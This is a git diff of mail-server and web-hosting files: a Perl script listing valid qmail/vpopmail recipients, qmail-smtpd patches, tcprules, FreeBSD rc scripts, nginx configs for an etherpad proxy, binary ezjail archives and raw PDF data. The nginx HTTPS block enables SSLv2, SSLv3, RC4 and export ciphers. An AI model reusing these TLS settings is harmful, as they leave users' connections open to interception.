; + my $zu = $1 ; + $zu =~ s/\:/./g ; + $lusr{"$pw[0]${gdash}$zu"} = 1 ; + } + closedir D ; + } + } +} + +if ( $showlocal && ( $lfound || $afound ) ) +{ + ######################################## + # grab a list of aliases + + opendir ( D , "$vq/alias" ) + or die "$vq/alias: $!\n" ; + while ( my $f = readdir ( D ) ) + { + next unless ( $f =~ /^\.qmail${gdash}(.*)/ ) ; + my $u = $1 ; + + if ( $u eq "default" ) + { + find_ffl ( "$vq/alias/.qmail${gdash}default" ) ; + } + else + { + $u =~ s/\:/./g ; + $ausr{$u} = 1 ; + } + } + closedir D ; + + ######################################## + # if we found a fastforward file, grab those aliases as well + + if ( $ffl ) + { + tie ( %ACDB , "CDB_File" , $ffl ) + or die "$ffl: $!\n" ; + + for my $k ( keys %ACDB ) + { + next unless ( $k =~ /^\:(.*)\@(.*)$/ ) ; + my ( $au , $ad ) = ( $1 , $2 ) ; + + if ( $ad ) + { + next unless ( exists ( $adom{$ad} ) + || exists ( $ldom{$ad} ) ) ; + push ( @output , "$au\@$ad" ) ; + } + else + { + $ausr{$au} = 1 ; + } + } + + untie %ACDB ; + } + + ######################################## + # generate output. + # local domains get every system user AND every alias user + + for my $dd ( sort keys %ldom ) + { + map { push ( @output , "$_\@$dd" ) } sort keys %lusr ; + map { push ( @output , "$_\@$dd" ) } sort keys %ausr ; + } + + ######################################## + # alias domains get every alias user + + for my $dd ( sort keys %adom ) + { + map { push ( @output , "$_\@$dd" ) } sort keys %ausr ; + } +} + +############################################################################### +# +# virtual domains - a little more complicated. + +if ( $vfound ) +{ + ####################################################################### + # + # the virtualdomains file contains a mapping from the domain name to a + # userid, which may be a system account and may be a virtual userid + # defined in the $vq/users/assign file. + # + # vpopmail normally uses the domain name as the virtual userid for + # this purpose, but we want to be flexible enough to handle other + # cases as well. + # + # in order to deal with this extra layer of indirection, we need to + # read the users/cdb file. and because it's a cdb, we don't even need + # to read the whole thing- we just need to open it so that we can + # search it. + + if ( -f "$vq/users/cdb" ) + { + tie ( %UCDB , "CDB_File" , "$vq/users/cdb" ) + or die "$vq/users/cdb: $!\n" ; + $need_untie = 1 ; + } + else + { + %UCDB = () ; + } + + my $wc = ( $UCDB{""} || "" ) ; + + ####################################################################### + # + # now we have the list of users/assign virtual users (if any), we need + # to identify the home directory, real or virutal, for the user. + + for my $dom ( sort keys %vdom ) + { + $vdom{$dom} =~ /\:(.*)$/ ; + my $usr = $1 ; + + my %vusr = () ; + my $dir = "" ; + my $vpopmail = 0 ; + + ######################################## + # note that in cases where a given "userid" exists as both a + # system userid and a virtual userid, the virtual userid takes + # precedence (according to the qmail-lspawn man page.) + # this is why we saved the home directories above. + + if ( exists $UCDB{"!$usr$wc"} ) + { + my @w = split ( /\0/ , $UCDB{"!$usr$wc"} ) ; + $dir = ( $w[3] || die "mis-formed users/cdb data:" + . " $usr\n" ) ; + $dash = ( $w[4] || "" ) ; + } + else + { + if ( my @pw = getpwnam ( $usr ) ) + { + $dir = $pw[7] ; + } + } + + die "ERROR: virtual user \"$usr\" not found" + . " (for virtualdomain \"$dom\")\n" + unless ( $dir ) ; + + ######################################## + # now we know which directory to look in. check for a + # ".qmail-default" file. if it contains "vdelievermail", we + # know that vpopmail is in control here... and if the + # vdelivermail line also has "bounce-no-mailbox", we need + # the list of individual users. otherwise we can just + # blindly accept the entire domain. + + unless ( -r $dir ) + { + print STDERR "Can\'t read directory $dir" + . " (for vpopmail domain \"$dom\")\n" ; + next ; + } + + if ( -f "$dir/.qmail${dash}default" ) + { + open ( V , "<$dir/.qmail${dash}default" ) + or die "$dir/.qmail${dash}default: $!\n" ; + + while ( my $line = <V> ) + { + if ( $line =~ /vdelivermail.*(bounce\-no\-mailbox|delete)/ ) + { + $vpopmail = 1 ; + } + } + close V ; + } + + ######################################## + # if we need the users... + + if ( $vpopmail ) + { + ######################################## + # if we don't already know where it is, + # find the vpopmail user's "/bin" directory. + + unless ( $vhome ) + { + my @pw = getpwnam ( $vuser ) + or die "getpwnam($vuser): $!\n" ; + $vhome = $pw[7] ; + $vbin = "$vhome/bin" ; + $vinc = "$vhome/include" ; + + die "Can\'t find $vbin/vuserinfo: $!\n" + unless ( -e "$vbin/vuserinfo" ) ; + } + + ######################################## + # if we don't already know, find out if + # vpopmail was built with --enable-qmail-ext + + if ( $vqext eq "?" ) + { + $vqext = "no" ; + open ( VCH , "<$vinc/vpopmail_config.h" ) + or die ( "Can\'t read " + . "$vinc/vpopmail_config.h: $!\n" ) ; + + while ( my $vcl = <VCH> ) + { + next unless ( $vcl =~ /^#define QMAIL_EXT 1/ ) ; + $vqext = "yes" ; + last ; + } + close VCH ; + debug "vqext=$vqext\n" ; + } + + ######################################## + # run "vuserinfo -D {domain}" to get a list of + # actual mailboxes within the domain. + + debug "/----- $vbin/vuserinfo -D $dom\n" ; + open ( VP , "$vbin/vuserinfo -D $dom |" ) + or die "Can\'t execute $vbin/vuserinfo: $!\n" ; + while ( my $line = <VP> ) + { + debug $line ; + next unless ( $line =~ /^name\:\s+(\S+)/ ) ; + my $u = $1 ; + $vusr{$u} = $u ; + debug "\t[$u]" ; + if ( $vqext eq "yes" ) + { + $vusr{"$u${dash}default"} = + "$u${dash}default" ; + debug " [$u${dash}default]" ; + } + debug "\n" ; + } + close VP ; + debug "\\-----\n" ; + + ######################################## + # run "valias -s {domain}" to get a list of + # aliases within the domain. + + debug "/----- $vbin/valias -s $dom\n" ; + open ( VP , "$vbin/valias -s $dom |" ) + or die "Can\'t execute $vbin/valias: $!\n" ; + while ( my $line = <VP> ) + { + debug $line ; + next unless ( $line =~ /^(.+?)\@/ ) ; + my $u = $1 ; + $vusr{$u} = $u ; + debug "\t[$u]\n" ; + } + close VP ; + debug "\\-----\n" ; + + ######################################## + # read the directory itself. any .qmail-___ files are + # also valid aliases within the domain, even if + # "valias" doesn't seem to know about them. + + opendir ( D , $dir ) + or die "$dir: $!\n" ; + while ( my $f = readdir ( D ) ) + { + if ( $f =~ /^\.qmail${dash}(.*)/ ) + { + my $u = $1 ; + next if ( $u eq "default" ) ; + $u =~ s/\:/./g ; + $vusr{$u} = $u ; + } + } + closedir D ; + + ######################################## + # now %vusr contains a list of all valid email + # addresses within the domain. + + map { push ( @output , "$_\@$dom" ) ; + debug "{$_\@$dom}\n" } sort keys %vusr ; + } + else + { + ######################################## + # virtual domain, but either it's not handled by + # vpopmail, or there is something going on with + # itother than "bounce-no-mailbox", which means + # we don't need the full list of mailboxes. + + push ( @output , "\@$dom" ) ; + } + } + + if ( $need_untie ) + { + untie %UCDB ; + $need_untie = 0 ; + } +} + +############################################################################### +# +# if we make it this far, we have no errors and can print the list. +# we need to filter out any "exclude" entries + +my %ex = () ; +map { $ex{lc $_} = "" } @exclude ; + +for my $k ( @output ) +{ + $k = lc $k ; + unless ( exists $ex{$k} ) + { + print "$k\n" ; + } +} diff --git a/files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch b/files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch new file mode 100644 index 0000000..8eb4132 --- /dev/null +++ b/files/arts/software/Code/elektropost/qmail-smtpd.c.force.tls.patch @@ -0,0 +1,42 @@ +*** qmail-smtpd.c.orig Thu Jan 9 16:24:52 2014 +--- qmail-smtpd.c Thu Jan 9 16:30:52 2014 +*************** +*** 42,47 **** +--- 42,48 ---- + int tls_verify(); + void tls_nogateway(); + int ssl_rfd = -1, ssl_wfd = -1; /* SSL_get_Xfd() are broken */ ++ int forcetls = 0; + #endif + + int safewrite(fd,buf,len) int fd; char *buf; int len; +*************** +*** 700,705 **** +--- 701,709 ---- + if (!stralloc_0(&proto)) die_nomem(); + protocol = proto.s; + ++ /* Check if we have to force users to use ssl when authenticating */ ++ if(control_readint(&forcetls,"control/smtpforcetls") == -1) die_control(); ++ + /* have to discard the pre-STARTTLS HELO/EHLO argument, if any */ + dohelo(remotehost); + } +*************** +*** 894,899 **** +--- 898,912 ---- + out("503 auth not available (#5.3.3)\r\n"); + return; + } ++ #ifdef TLS ++ if (forcetls && !ssl) ++ { ++ out("538 auth not available without TLS (#5.3.3)\r\n"); ++ flush(); ++ die_read(); ++ } ++ #endif ++ + if (authd) { err_authd(); return; } + if (seenmail) { err_authmail(); return; } + diff --git a/files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch b/files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch new file mode 100644 index 0000000..d9ba4fd --- /dev/null +++ b/files/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch @@ -0,0 +1,31 @@ +--- qmail-smtpd.c 2009-07-21 23:32:27.000000000 +0200 ++++ qmail-smtpd.c 2009-07-21 23:30:48.000000000 +0200 +@@ -34,7 +34,7 @@ + unsigned int databytes = 0; + int timeout = 1200; + unsigned int spfbehavior = 0; +- ++static int authd = 0; + const char *protocol = "SMTP"; + + #ifdef TLS +@@ -614,7 +614,10 @@ + qp = qmail_qp(&qqt); + out("354 go ahead\r\n"); + +- received(&qqt,protocol,local,remoteip,remotehost,remoteinfo,fakehelo); ++ if(!authd) ++ received(&qqt,protocol,local,remoteip,remotehost,remoteinfo,fakehelo); ++ else ++ received(&qqt,protocol,local,remoteinfo,local,0,local); + spfreceived(); + blast(&hops); + hops = (hops >= MAXHOPS); +@@ -839,7 +842,6 @@ + char **childargs; + substdio ssup; + char upbuf[128]; +-int authd = 0; + + int authgetl(void) { + int i; diff --git a/files/arts/software/Code/elektropost/tcp.smtp b/files/arts/software/Code/elektropost/tcp.smtp new file mode 100644 index 0000000..81e47fa --- /dev/null +++ b/files/arts/software/Code/elektropost/tcp.smtp @@ -0,0 +1,14 @@ +# Das hier sind die rulez fuer den tcpserver (ucspi) der den qmail-smtpd startet +# als relay fungiert <host> nur fuer localhost und <insert-local-nets here>. +# Alle anderen duerfen zwar senden, aber nur an domains, die in +# /var/qmail/control/rcpthosts stehen. +# +# Diese Datei muss mittels +# +# "cat /usr/local/vpopmail/etc/tcp.smtp | tcprules /usr/local/vpopmail/etc/tcp.smtp.cdb /usr/local/vpopmail/etc/tcp.smtp.tmp" +# +# "kompiliert" werden. +# +:allow +#127.0.0.1:allow,RELAYCLIENT="" +#192.168.0.1:allow,RELAYCLIENT="" diff --git a/files/arts/software/Code/elektropost/validrcptto.cdb.patch.new b/files/arts/software/Code/elektropost/validrcptto.cdb.patch.new new file mode 100644 index 0000000..bbd1eb4 --- /dev/null +++ b/files/arts/software/Code/elektropost/validrcptto.cdb.patch.new @@ -0,0 +1,153 @@ +--- Makefile.old Mon Dec 4 03:33:09 2006 ++++ Makefile Mon Dec 4 03:35:01 2006 +@@ -1558,15 +1558,15 @@ + + qmail-smtpd: \ + load qmail-smtpd.o rcpthosts.o commands.o timeoutread.o \ +-timeoutwrite.o ip.o ipme.o ipalloc.o strsalloc.o control.o constmap.o \ ++timeoutwrite.o ip.o ipme.o ipalloc.o subfderr.o strsalloc.o control.o constmap.o \ + received.o date822fmt.o now.o qmail.o spf.o dns.o cdb.a fd.a wait.a \ +-datetime.a getln.a open.a sig.a case.a env.a stralloc.a alloc.a substdio.a \ ++datetime.a getln.a open.a sig.a case.a env.a strerr.a stralloc.a alloc.a substdio.a \ + error.a str.a fs.a auto_qmail.o base64.o socket.lib dns.lib + ./load qmail-smtpd rcpthosts.o commands.o timeoutread.o \ +- timeoutwrite.o ip.o ipme.o ipalloc.o strsalloc.o control.o \ ++ timeoutwrite.o ip.o ipme.o ipalloc.o subfderr.o strsalloc.o control.o \ + tls.o ssl_timeoutio.o ndelay.a -L/usr/lib -lssl -lcrypto \ + constmap.o received.o date822fmt.o now.o qmail.o spf.o dns.o cdb.a \ +- fd.a wait.a datetime.a getln.a open.a sig.a case.a env.a stralloc.a \ ++ fd.a wait.a datetime.a getln.a open.a sig.a case.a env.a strerr.a stralloc.a \ + alloc.a substdio.a error.a fs.a auto_qmail.o base64.o \ + str.a `cat socket.lib` `cat dns.lib` + +@@ -1579,7 +1579,7 @@ + substdio.h alloc.h auto_qmail.h control.h received.h constmap.h \ + error.h ipme.h ip.h ipalloc.h strsalloc.h ip.h gen_alloc.h ip.h qmail.h \ + substdio.h str.h fmt.h scan.h byte.h case.h env.h now.h datetime.h \ +-exit.h rcpthosts.h timeoutread.h timeoutwrite.h commands.h wait.h spf.h \ ++exit.h rcpthosts.h timeoutread.h timeoutwrite.h commands.h wait.h spf.h cdb.h uint32.h \ + fd.h base64.h + ./compile qmail-smtpd.c + +--- qmail-smtpd.c.old Mon Dec 4 03:36:22 2006 ++++ qmail-smtpd.c Mon Dec 4 03:44:49 2006 +@@ -26,6 +26,8 @@ + #include "wait.h" + #include "fd.h" + #include "spf.h" ++#include "strerr.h" ++#include "cdb.h" + + #define AUTHCRAM + #define MAXHOPS 100 +@@ -99,6 +101,7 @@ + int err_noauth() { out("504 auth type unimplemented (#5.5.1)\r\n"); return -1; } + int err_authabrt() { out("501 auth exchange cancelled (#5.0.0)\r\n"); return -1; } + int err_input() { out("501 malformed auth input (#5.5.4)\r\n"); return -1; } ++void err_vrt() { out("553 sorry, this recipient is not in my validrcptto list (#5.7.1)\r\n"); } + + stralloc greeting = {0}; + stralloc spflocal = {0}; +@@ -139,6 +142,7 @@ + int bmfok = 0; + stralloc bmf = {0}; + struct constmap mapbmf; ++int vrtfd = -1; + + void setup() + { +@@ -155,6 +159,9 @@ + + if (rcpthosts_init() == -1) die_control(); + ++ vrtfd = open_read("control/validrcptto.cdb"); ++ if (-1 == vrtfd) if (errno != error_noent) die_control(); ++ + bmfok = control_readfile(&bmf,"control/badmailfrom",0); + if (bmfok == -1) die_control(); + if (bmfok) +@@ -269,6 +276,60 @@ + return 0; + } + ++int vrtcheck() ++{ ++ int j,k,r; ++ uint32 dlen; ++ stralloc laddr = {0}; ++ ++ stralloc user = {0}; ++ stralloc adom = {0}; ++ stralloc utry = {0}; ++ ++ if (-1 == vrtfd) return 1; ++ ++ /* lowercase whatever we were sent */ ++ if (!stralloc_copy(&laddr,&addr)) die_nomem() ; ++ case_lowerb(laddr.s,laddr.len); ++ ++ /* exact match? */ ++ r = cdb_seek(vrtfd,laddr.s,laddr.len-1,&dlen) ; ++ if (r>0) return r; ++ ++ j = byte_rchr(laddr.s,laddr.len,'@'); ++ if (j < laddr.len) ++ { ++ /* start "-default" search loop */ ++ stralloc_copyb(&user,laddr.s,j) ; ++ stralloc_copyb(&adom,laddr.s+j,laddr.len-j-1); ++ ++ while(1) ++ { ++ k = byte_rchr(user.s,user.len,'-'); ++ if (k >= user.len) break ; ++ ++ user.len = k+1; ++ stralloc_cats(&user,"default"); ++ ++ stralloc_copy(&utry,&user); ++ stralloc_cat (&utry,&adom); ++ stralloc_0(&utry); ++ ++ r = cdb_seek(vrtfd,utry.s,utry.len-1,&dlen); ++ if (r>0) return r; ++ ++ user.len = k ; ++ } ++ ++ /* try "@domain" */ ++ r = cdb_seek(vrtfd,laddr.s+j,laddr.len-j-1,&dlen) ; ++ if (r>0) return r; ++ } ++ ++ return 0; ++} ++ ++ + int addrallowed() + { + int r; +@@ -280,7 +341,6 @@ + return r; + } + +- + int seenmail = 0; + int flagbarf; /* defined if seenmail */ + int flagbarfspf; +@@ -402,8 +462,14 @@ + if (!stralloc_cats(&addr,relayclient)) die_nomem(); + if (!stralloc_0(&addr)) die_nomem(); + } +- else ++ else { + if (!addrallowed()) { err_nogateway(); return; } ++ if (!vrtcheck()) { ++ strerr_warn4("qmail-smtpd: not in validrcptto: ",addr.s, ++ " at ",remoteip,0); ++ err_vrt(); return; ++ } ++ } + if (!stralloc_cats(&rcptto,"T")) die_nomem(); + if (!stralloc_cats(&rcptto,addr.s)) die_nomem(); + if (!stralloc_0(&rcptto)) die_nomem(); diff --git a/files/arts/software/Code/vchat-client b/files/arts/software/Code/vchat-client new file mode 100755 index 0000000..ab1c6f3 Binary files /dev/null and b/files/arts/software/Code/vchat-client differ diff --git a/files/arts/software/etherpad/etherpad b/files/arts/software/etherpad/etherpad new file mode 100755 index 0000000..78ceebb --- /dev/null +++ b/files/arts/software/etherpad/etherpad @@ -0,0 +1,35 @@ +#!/bin/sh +# + +# PROVIDE: etherpad +# REQUIRE: LOGIN +# KEYWORD: shutdown +# +# Add the following line to /etc/rc.conf to enable etherpad: +# +# etherpad_enable="YES" +# + +. /etc/rc.subr + +name="etherpad" +rcvar=${name}_enable + +start_cmd="${name}_start" +#stop_cmd="${name}_stop" + +load_rc_config $name + +etherpad_user="etherpad" +#procname="java" +procname="/usr/local/jdk1.6.0/bin/java" + +pidfile=/var/run/etherpad/etherpad.pid +daemon_args=" -f -u ${etherpad_user} -p ${pidfile} /usr/local/pad/etherpad/bin/run-local.sh" +etherpad_start() +{ + cd /usr/local/pad/etherpad/ + /usr/sbin/daemon ${daemon_args} +} + +run_rc_command "$1" diff --git a/files/arts/software/etherpad/nginx-etherpad.conf b/files/arts/software/etherpad/nginx-etherpad.conf new file mode 100644 index 0000000..d8f90dd --- /dev/null +++ b/files/arts/software/etherpad/nginx-etherpad.conf @@ -0,0 +1,25 @@ +server_name pads.domain.tld *.pads.domain.tld; +access_log /var/log/www/access.log; +error_log /var/log/www/error.log; + +proxy_redirect off; +proxy_set_header Host $host; +proxy_set_header X-Real-IP $remote_addr; +proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; +client_max_body_size 10m; +client_body_buffer_size 128k; +proxy_connect_timeout 90; +proxy_send_timeout 90; +proxy_read_timeout 90; +proxy_buffer_size 4k; +proxy_buffers 4 32k; +proxy_busy_buffers_size 64k; +proxy_temp_file_write_size 64k; + +location /sitemap.xml { + rewrite /sitemap.xml$ /ep/tag/?format=sitemap permanent; +} + +location / { + proxy_pass http://pads.domain.tld:9000/; +} diff --git a/files/arts/software/etherpad/nginx.conf b/files/arts/software/etherpad/nginx.conf new file mode 100644 index 0000000..79d93d5 --- /dev/null +++ b/files/arts/software/etherpad/nginx.conf @@ -0,0 +1,53 @@ +#user nobody; +worker_processes 1; + +#error_log logs/error.log; +#error_log logs/error.log notice; +#error_log logs/error.log info; + +#pid logs/nginx.pid; + +events { + worker_connections 1024; +} + +http { + include mime.types; + default_type application/octet-stream; + + #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + # '$status $body_bytes_sent "$http_referer" ' + # '"$http_user_agent" "$http_x_forwarded_for"'; + + #access_log logs/access.log main; + + sendfile on; + #tcp_nopush on; + + #keepalive_timeout 0; + keepalive_timeout 65; + + #gzip on; + + server { + listen 80; + server_name pads.domain.tld *.pads.domain.tld; + include nginx-etherpad.conf; + } + + server { + listen 443; + + ssl on; + ssl_certificate pads.domain.tld.pem; + ssl_certificate_key pads.domain.tld.pem; + + ssl_session_timeout 5m; + + ssl_protocols SSLv2 SSLv3 TLSv1; + ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP; + ssl_prefer_server_ciphers on; + include nginx-etherpad.conf; + } +} + diff --git a/files/arts/software/etherpad/soffice b/files/arts/software/etherpad/soffice new file mode 100755 index 0000000..dc83499 --- /dev/null +++ b/files/arts/software/etherpad/soffice @@ -0,0 +1,28 @@ +#!/bin/sh +# + +# PROVIDE: soffice +# REQUIRE: LOGIN +# KEYWORD: shutdown +# +# Add the following line to /etc/rc.conf to enable etherpad: +# +# soffice_enable="YES" +# + +. /etc/rc.subr + +name="soffice" +rcvar=${name}_enable + +start_cmd="${name}_start" +#stop_cmd="${name}_stop" + +load_rc_config $name + +soffice_start() +{ + /usr/sbin/daemon -f /usr/local/bin/soffice -headless -nofirststartwizard -accept="socket,host=localhost,port=8100;urp;StarOffice.Service" -nologo +} + +run_rc_command "$1" diff --git a/files/arts/software/ezjail/ezjail-0.1.tar.bz2 b/files/arts/software/ezjail/ezjail-0.1.tar.bz2 new file mode 100644 index 0000000..f750b82 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-0.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-1.0.tar.bz2 b/files/arts/software/ezjail/ezjail-1.0.tar.bz2 new file mode 100644 index 0000000..2b0661a Binary files /dev/null and b/files/arts/software/ezjail/ezjail-1.0.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-1.1.tar.bz2 b/files/arts/software/ezjail/ezjail-1.1.tar.bz2 new file mode 100644 index 0000000..026d8ec Binary files /dev/null and b/files/arts/software/ezjail/ezjail-1.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-1.2.tar.bz2 b/files/arts/software/ezjail/ezjail-1.2.tar.bz2 new file mode 100644 index 0000000..4772c52 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-1.2.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-1.2b.tar.bz2 b/files/arts/software/ezjail/ezjail-1.2b.tar.bz2 new file mode 100644 index 0000000..32d38b0 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-1.2b.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-1.3.1.tar.bz2 b/files/arts/software/ezjail/ezjail-1.3.1.tar.bz2 new file mode 100644 index 0000000..956fd48 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-1.3.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-1.3.tar.bz2 b/files/arts/software/ezjail/ezjail-1.3.tar.bz2 new file mode 100644 index 0000000..772202a Binary files /dev/null and b/files/arts/software/ezjail/ezjail-1.3.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-2.0.1.tar.bz2 b/files/arts/software/ezjail/ezjail-2.0.1.tar.bz2 new file mode 100644 index 0000000..770eaad Binary files /dev/null and b/files/arts/software/ezjail/ezjail-2.0.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-2.0.tar.bz2 b/files/arts/software/ezjail/ezjail-2.0.tar.bz2 new file mode 100644 index 0000000..3bf4be0 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-2.0.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-2.0b.tar.bz2 b/files/arts/software/ezjail/ezjail-2.0b.tar.bz2 new file mode 100644 index 0000000..c7ac7cd Binary files /dev/null and b/files/arts/software/ezjail/ezjail-2.0b.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-2.1.tar.bz2 b/files/arts/software/ezjail/ezjail-2.1.tar.bz2 new file mode 100644 index 0000000..ce4acad Binary files /dev/null and b/files/arts/software/ezjail/ezjail-2.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.0.tar.bz2 b/files/arts/software/ezjail/ezjail-3.0.tar.bz2 new file mode 100644 index 0000000..4dc6cf7 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.0.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.0b.tar.bz2 b/files/arts/software/ezjail/ezjail-3.0b.tar.bz2 new file mode 100644 index 0000000..0f0dbbb Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.0b.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.1.tar.bz2 b/files/arts/software/ezjail/ezjail-3.1.tar.bz2 new file mode 100644 index 0000000..b272a2b Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.2.1.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.1.tar.bz2 new file mode 100644 index 0000000..cfaff74 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.2.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.2.2.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.2.tar.bz2 new file mode 100644 index 0000000..b80b81d Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.2.2.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.2.3.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.3.tar.bz2 new file mode 100644 index 0000000..f588f31 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.2.3.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.2.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.tar.bz2 new file mode 100644 index 0000000..b23aff7 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.2.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.3.tar.bz2 b/files/arts/software/ezjail/ezjail-3.3.tar.bz2 new file mode 100644 index 0000000..aa14644 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.3.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.4.1.tar.bz2 b/files/arts/software/ezjail/ezjail-3.4.1.tar.bz2 new file mode 100644 index 0000000..2191346 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.4.1.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-3.4.tar.bz2 b/files/arts/software/ezjail/ezjail-3.4.tar.bz2 new file mode 100644 index 0000000..3bedc02 Binary files /dev/null and b/files/arts/software/ezjail/ezjail-3.4.tar.bz2 differ diff --git a/files/arts/software/ezjail/ezjail-admin.8.pdf b/files/arts/software/ezjail/ezjail-admin.8.pdf new file mode 100644 index 0000000..54c2b52 --- /dev/null +++ b/files/arts/software/ezjail/ezjail-admin.8.pdf @@ -0,0 +1,4073 @@ +%PDF-1.3 +% +2 0 obj +<< +/Length 10523 +>> +stream +BT +/TT2 1 Tf +10 0 0 10 72 756 Tm +0 g +/GS1 gs +0 Tc +0 Tw +[(N)20(AME)]TJ +/TT4 1 Tf +3 -1.2 TD +(ezjail-admin)Tj +/TT6 1 Tf +7.4512 0 TD +[()-250(Administrate ezjail en)40(vironment)]TJ +/TT2 1 Tf +-10.4512 -2.4 TD +(SYNOPSIS)Tj +/TT4 1 Tf +3 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(install)Tj +/TT6 1 Tf +4.534 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(mMpPsS)Tj +/TT6 1 Tf +3.6839 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(h)Tj +/TT8 1 Tf +1.2001 0 TD +(host)Tj +/TT6 1 Tf +2.4837 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.2001 0 TD +(release)Tj +/TT6 1 Tf +4.284 0 TD +(])Tj +/TT4 1 Tf +-29.7186 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(create)Tj +/TT6 1 Tf +3.9339 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(bx)Tj +/TT6 1 Tf +1.2835 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT8 1 Tf +1.2001 0 TD +(flavour)Tj +/TT6 1 Tf +4.284 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.2001 0 TD +(jailroot)Tj +/TT6 1 Tf +4.8841 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(a)Tj +/TT8 1 Tf +1.2001 0 TD +(archive)Tj +/TT6 1 Tf +4.284 0 TD +(])Tj +-28.5686 -1.2 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c)Tj +/TT8 1 Tf +1.2001 0 TD +(jailtype)Tj +/TT3 1 Tf +5.5674 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(s)Tj +/TT8 1 Tf +1.2001 0 TD +(imagesize)Tj +/TT6 1 Tf +6.0842 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(C)Tj +/TT8 1 Tf +1.2001 0 TD +(attachargs)Tj +/TT6 1 Tf +6.0843 0 TD +0.0833 Tc +-0.0833 Tw +(]] [)Tj +/TT3 1 Tf +1.6655 0 TD +0 Tc +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(z)Tj +/TT8 1 Tf +1.2001 0 TD +(parentzfs)Tj +/TT6 1 Tf +5.4842 0 TD +(])Tj +/TT8 1 Tf +-33.3354 -1.2 TD +(jailname ipaddress)Tj +/TT6 1 Tf +10.8851 0 TD +([)Tj +/TT8 1 Tf +0.4163 0 TD +(,ipaddress2,...)Tj +/TT6 1 Tf +9.0848 0 TD +(])Tj +/TT4 1 Tf +-28.1861 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(console)Tj +/TT6 1 Tf +4.534 0 TD +([)Tj +/TT3 1 Tf +0.5829 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +0.6834 0 TD +0.3333 Tc +(][)Tj +/TT3 1 Tf +1.2492 0 TD +0 Tc +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(e)Tj +/TT8 1 Tf +1.2001 0 TD +(command)Tj +/TT6 1 Tf +4.284 0 TD +(])Tj +/TT8 1 Tf +0.583 0 TD +(jailname)Tj +/TT4 1 Tf +-21.7681 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(list)Tj +-7.4513 -1.2 TD +(ezjail-admin )Tj +7.4513 0 TD +(start)Tj +/TT6 1 Tf +3.6005 0 TD 